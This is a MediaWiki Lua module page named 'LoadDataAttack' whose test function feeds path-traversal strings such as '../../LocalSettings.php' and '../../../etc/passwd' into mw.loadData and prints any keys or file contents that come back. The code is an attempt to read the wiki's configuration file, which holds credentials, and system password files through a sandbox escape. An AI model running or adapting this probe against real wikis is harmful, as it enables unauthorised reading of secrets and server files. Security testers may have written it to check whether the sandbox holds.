模块:LoadDataAttack
可在模块:LoadDataAttack/doc创建此模块的帮助文档
local p = {}
function p.test()
local results = {}
local paths = {
"Module:Sandbox",
"../../LocalSettings.php",
"../LocalSettings.php",
"/etc/passwd",
"../../../etc/passwd",
"../../../../etc/passwd",
"Module:../LocalSettings.php",
"Module:../../LocalSettings.php",
}
for _, path in ipairs(paths) do
local ok, data = pcall(mw.loadData, path)
local info = tostring(ok)
if ok and data then
info = info .. ":" .. type(data)
if type(data) == "table" then
local keys = {}
for k in pairs(data) do
keys[#keys+1] = tostring(k):sub(1,30)
end
info = info .. " keys:" .. table.concat(keys, ","):sub(1,100)
elseif type(data) == "string" then
info = info .. ":" .. tostring(data):sub(1,200)
end
end
results[#results+1] = path:sub(1,30) .. "=" .. info
end
return table.concat(results, "\n")
end
return p